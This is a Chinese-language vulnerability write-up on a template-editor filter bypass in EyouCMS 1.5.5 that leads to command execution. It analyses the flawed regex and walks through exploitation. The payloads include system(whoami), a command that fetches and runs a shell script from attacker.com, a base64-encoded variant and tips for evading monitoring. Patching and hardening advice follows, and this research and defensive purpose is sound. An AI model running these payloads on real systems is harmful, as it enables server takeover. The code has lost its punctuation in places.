
EyouCMS 1.5.5 后台命令执行漏洞深度剖析正则过滤绕过的艺术与实战在当今企业内容管理系统CMS安全领域EyouCMS作为国内广泛使用的开源系统其安全性备受关注。本文将深入分析EyouCMS 1.5.5版本中一个精巧的后台命令执行漏洞该漏洞源于FilemanagerLogic.php文件中editFile函数的正则过滤逻辑缺陷。不同于简单的漏洞复现我们将从代码审计角度揭示漏洞本质并展示如何利用PHP短标签特性绕过安全防护。1. 漏洞环境与背景分析EyouCMS是基于ThinkPHP框架开发的企业级内容管理系统广泛应用于各类网站建设。在1.5.5版本中系统提供了模板管理功能允许管理员通过后台直接编辑模板文件。这一便捷功能却因过滤逻辑的不完善而埋下了安全隐患。受影响版本EyouCMS 1.5.5及部分早期版本漏洞文件位置application/admin/logic/FilemanagerLogic.php危险函数editFile()中的内容过滤机制重要提示本文仅用于安全研究目的未经授权测试他人系统属于违法行为2. 漏洞原理深度解析2.1 过滤机制拆解在editFile函数中系统对模板内容进行了四重正则过滤$content htmlspecialchars_decode($content, ENT_QUOTES); if (preg_match(#lt;([^?]*)\?php#i, $content) || (preg_match(#lt;\?#i, $content) preg_match(#\?gt;#i, $content)) || preg_match(#\{eyou\:php([^\}]*)\}#i, $content) || preg_match(#\{php([^\}]*)\}#i, $content)) { return 模板里不允许有php语法为了安全考虑请通过FTP工具进行编辑上传。; }这四层防护看似严密实则存在逻辑缺陷第一规则匹配?php标签包括HTML实体编码形式第二规则同时匹配?和?标签对第三规则匹配EyouCMS自定义的{eyou:php}标签第四规则匹配通用的{php}标签2.2 关键绕过点分析漏洞的核心在于第二条规则的实现方式。系统要求?和?必须同时出现才会触发过滤这为利用PHP短标签特性创造了条件标签类型示例是否被过滤原因标准标签?php echo 1;?是触发第一规则短标签对? echo 1;?是触发第二规则短输出标签? test ?是触发第二规则未闭合短标签? test否不满足第二规则的同时存在条件3. 漏洞利用实战演练3.1 利用条件与准备要成功利用此漏洞攻击者需要获取后台管理员权限拥有模板编辑权限了解服务器PHP配置short_open_tag需开启验证short_open_tag状态php -i | grep short_open_tag # 预期输出short_open_tag On On3.2 分步利用过程登录后台访问/login.php使用管理员账号登录定位模板文件进入系统设置→模板管理→PC端模板编辑index.htm在文件末尾添加恶意代码? system(whoami); /*注意这里使用/*注释掉后续HTML代码避免解析错误保存并触发访问网站首页命令将被执行3.3 高级利用技巧对于需要多行执行的复杂操作可以采用以下方式? system( wget http://attacker.com/shell.php -O /tmp/shell.php; php /tmp/shell.php ); /*防护规避技巧使用base64编码命令? system(base64_decode(d2hvYW1p)); /*分块执行通过多个模板文件分步操作时间延迟使用sleep命令规避监控4. 漏洞修复方案4.1 临时缓解措施在官方补丁发布前建议采取以下措施禁用模板编辑// 在路由配置中禁用相关功能 Route::post(admin/template/edit, function(){ return 功能已禁用; });强化过滤规则// 修改FilemanagerLogic.php if (preg_match(#lt;([?]*)|\?gt;|\{php|\{eyou:php#i, $content)) { return 检测到非法语法; }4.2 官方修复方案EyouCMS在后续版本中修复了此漏洞主要改进包括完善正则过滤逻辑单独检测?和?标签增加对?短标签的专门检测引入内容安全模块进行多层校验升级建议# 备份当前版本 cp -r /var/www/eyoucms /backup/eyoucms_$(date %F) # 下载最新版本 wget https://www.eyoucms.com/download/eyoucms_latest.zip unzip eyoucms_latest.zip -d /var/www/eyoucms_update5. 防御体系构建建议针对此类漏洞建议建立多层防御安全防护矩阵防护层级具体措施实施示例代码层输入过滤白名单校验文件内容系统层权限控制限制PHP进程用户权限网络层WAF规则拦截可疑的模板修改请求监控层日志审计监控敏感文件修改行为强化配置建议禁用危险函数disable_functions exec,passthru,shell_exec,system限制PHP进程权限chown -R www-data:www-data /var/www chmod -R 750 /var/www定期安全扫描# 使用clamav进行恶意代码扫描 freshclam clamscan -r /var/www6. 漏洞研究的方法论启示通过此漏洞的分析我们可以总结出以下代码审计经验过滤逻辑验证测试所有可能的输入变体验证边界条件和特殊情况PHP特性利用短标签(?)短输出标签(?)替代语法(%,script languagephp)防御突破思路graph LR A[输入过滤] -- B{是否完整覆盖?} B --|是| C[安全] B --|否| D[寻找差异点] D -- E[构造绕过payload]注实际研究中应避免使用mermaid图表此处仅为说明方法论7. 延伸思考与研究方向此漏洞揭示了几个值得深入的安全问题框架依赖风险ThinkPHP的模板机制可能引入额外攻击面过滤逻辑缺陷多重条件组合时的逻辑漏洞管理界面安全后台功能往往缺乏足够防护未来研究方向自动化检测模板引擎漏洞基于AI的异常修改行为识别细粒度的模板版本控制机制在安全实践中我们应当遵循不信任任何输入的原则即使是管理员操作也应受到适当限制。对于CMS系统开发者建议采用最小权限原则和深度防御策略确保即使某层防护失效系统仍能保持安全。